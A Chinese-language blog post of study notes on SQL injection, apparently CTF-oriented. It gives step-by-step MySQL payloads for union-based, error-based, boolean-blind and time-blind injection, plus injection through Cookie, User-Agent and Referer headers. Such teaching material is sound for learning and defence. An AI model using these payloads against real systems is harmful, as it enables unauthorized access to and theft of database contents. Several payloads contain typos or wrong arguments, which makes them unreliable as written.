SQL注入学习


SQL注入学习

对sql注入的知识和技巧进行记录

概念

Sql注入攻击是通过将恶意的Sql查询或添加语句插入到对应的输入参数中,再在后台Sql服务器上解析执行执行的攻击。


分类

整数型注入

参数是int类型的,后端调用时一般没加单引号如:
select * from xxx where id=1

  1. 判断数据库列数
-1 order by x #
// 第n个数字报错时,列数为n-1
  1. 查看数据库名;
-1 union select database(),2,3,...n-1 #
  1. 查表名
-1 union select group_concat(table_name),2,3,...n-1 from information_schema.tables where table_schema='xxx' #
  1. 查字段名
-1 union select group_concat(column_name),2,3,...n-1 from information_schema.columns where table_name='xxx' #
  1. 查数据
-1 union select 字段名,2,3,...n-1 from 库名.表名

字符型注入

参数是字符类型的,后端调用时有加上单引号
如:
select * from xxx where id='1'

具体步骤和数字型大致相同,不过要在参数后面加个一个单引号闭合前面的单引号

比如查列数语句:

-1' order by x #
// 第n个数字报错时,列数为n-1

其余步骤的语句都是要闭合单引号


报错注入

SQL报错注入就是利用数据库的某些机制,人为的制造错误条件,使得查询结果能够出现在错误信息中。

1. floor()报错注入
Payload:

1 Union select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.columns group by x;

分析payload中的函数:

  1. count(): 返回匹配指定条件的行数。count(*)则返回表中的记录数
  2. floor(): 作用是向下取整,即去掉小数部分
  3. rand(): 随机取(0,1)中的一个数,但是给它一个参数就不是随机了。floor(rand(0)*2)为序列0110110
  4. concat(): 用于连接两个字符串
  5. group by x: x相同于as x,设置一个别名
  6. 0x26: 16进制,转换字符为”&”

爆错原因:count,rand(),group by三个连用会造成主键重复。因为floor(rand(0)*2)的重复性,导致group by语句出错

查数据库名:

1 Union select count(*),concat((select databse()),0x26,floor(rand(0)*2))x from information_schema.columns group by x;

2. Xpath语法报错

  • extractvalue()报错注入:
    extractvalue的作用是负责在xml文档中按照xpath语法查询节点内容
    Payload:
    1' and extractvalue(1,concat(0x7e,(select database()),0x7e),1)--+

  • updatexml()报错注入:
    updatexmlde的作用是负责修改查询到的内容
    Payload:
    1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

这两种报错都有长度限制,最长32位

3. 数据溢出报错

  1. 利用 ! 溢出报错
    mysql中BIGINT类型的最大数为18446744073709551615
    即~0(把0按位取反)。超过这个数则溢出
    sql中,如果一个查询成功返回,则其返回值为0。!0=1

Payload:
1' union select (!(select * from (select user())x) - ~0),2,3--+

  1. exp()报错注入
    利用double 数值类型超出范围进行报错注入
    mysql> select exp(709);
    +-----------------------+
    | exp(709)              |
    +-----------------------+
    | 8.218407461554972e307 |
    +-----------------------+
    1 row in set (0.00 sec)

    mysql> select exp(710);
    ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

Pyaload:
1' union select (exp(~(select * FROM(SELECT USER())a))),2,3 --+

3. 利用列名重复报错
mysql列名重复会报错。我们使用name_const来制造列
Payload:
1' union select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --

利用这个特性可以用join爆列名
Payload:

mysql> select *  from(select * from test a join test b)c;
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select *  from(select * from test a join test b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'name'

布尔盲注

盲注就是不会根据你构造的SQL注入语句返回信息,而是通过其他方式判断

布尔盲注:就是只会返回查询是否成功而返回True和Fales,不会返回查询到的信息。

  1. 判断数据库长度:
    1 and ((length(databse)))>5 #
    如果返回正确,则说明数据库长度大于5
    返回错误,则说明数据库长度小于等于5

  2. 爆数据库名
    1 and (ascii(substr(database(),1,1)))>100 #
    利用substr函数与ascii函数构造猜测数据库名ascii码的值的语句
    假如数据库名第一个字母为s,则
    1' and (ascii(substr(database(),1,1)))=115 #
    返回结果是True。以此可以继续猜测第二个第三个字母

  3. 爆表名
    1 and (ascii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
    以此可以爆破此表名和其他表

  4. 爆列名
    1 and (ascii(substr(select column_name from information_schema.columns where table_name="xxx" limit 0,1),1,1))>100 #

  5. 爆数据
    1 and (ascii(substr(select 列名 from 数据库名.表名),1,1))=100 #

手工布尔注入很耗时间,建议用工具或者写脚本跑

另一种布尔注入情况
主要是查询和一般的不一样。一般的布尔盲注是数据库查询结果为空或者查询语句报错,才回显error

这种的情况是即使数据库查询为空,返回结果还是True,只有当查询语句报错才返回error

这个时候,用and加上布尔盲注语句就不起作用了。因为这是根据查询结果是否为空来判断的

所以这时候改用if语句来构造注入

if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。

因为mysql会对整个语句进行判断,所以让exp3为子查询语句

Payload:

if(查询语句,1,(select table_name from information_schema.tables)) #

爆数据库名:

if(substr(database(),1,1)='s',1,(select table_name from information_schema.tables)) #

其他步骤就是把查询语句换一下就行


时间盲注

时间盲注指通过页面执行的时间来判断数据内容的注入方式,通常用于数据不会回显到页面中的场景,无法利用页面回显判断数据内容,只能通过执行的时间来获取数据

  1. 判断注入点:
    1 and sleep(10)
    若页面响应时间延时10秒,则存在注入

爆数据的时候一般和if连用

  1. 爆数据库名:
    if(substr(databse(),1,1)='x',sleep(5),1) #
    若页面延时则数据库名第一个字母为x

  2. 爆表名:
    if(substr((select table_name from information_schema.tables where table_schema='xxx' limit 0,1),1,1),sleep(5),1) #

  3. 爆列名:
    if(substr((select column_name from information_schema.columns where table_name='xxx' limit 0,1),1,1),sleep(5),1) #

  4. 爆数据:
    if(substr((select 列名 from 数据库名.表名),1,1)='x',sleep(5),1) #


Cookie、UA、Referer注入

这三种注入大同小异,都是不通过url传参,而是在url请求包里用Cookie或UA或Referer来传参

注入构造就是在请求包里的Cookie或UA或Referer构造语句

Cookie注入:
在请求包里添加:
Cookie:id=-1 union select database(),2 #

其余两种一样做法



文章作者: Doublenine
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Doublenine !
 上一篇
BUUCTF刷题记录(一) BUUCTF刷题记录(一)
BUUCTF刷题记录(一)WEB[SUCTF 2019]Pythonginx这题主要是利用了CVE-2019-9636:urlsplit不处理NFKC标准化 题目源码: from flask import Flask, Blueprint
下一篇 
php反序列化学习 php反序列化学习
PHP反序列化漏洞学习(一) 概念serialize() serialize() 函数用于序列化对象或数组,并返回一个字符串。 serialize() 函数序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。
  目录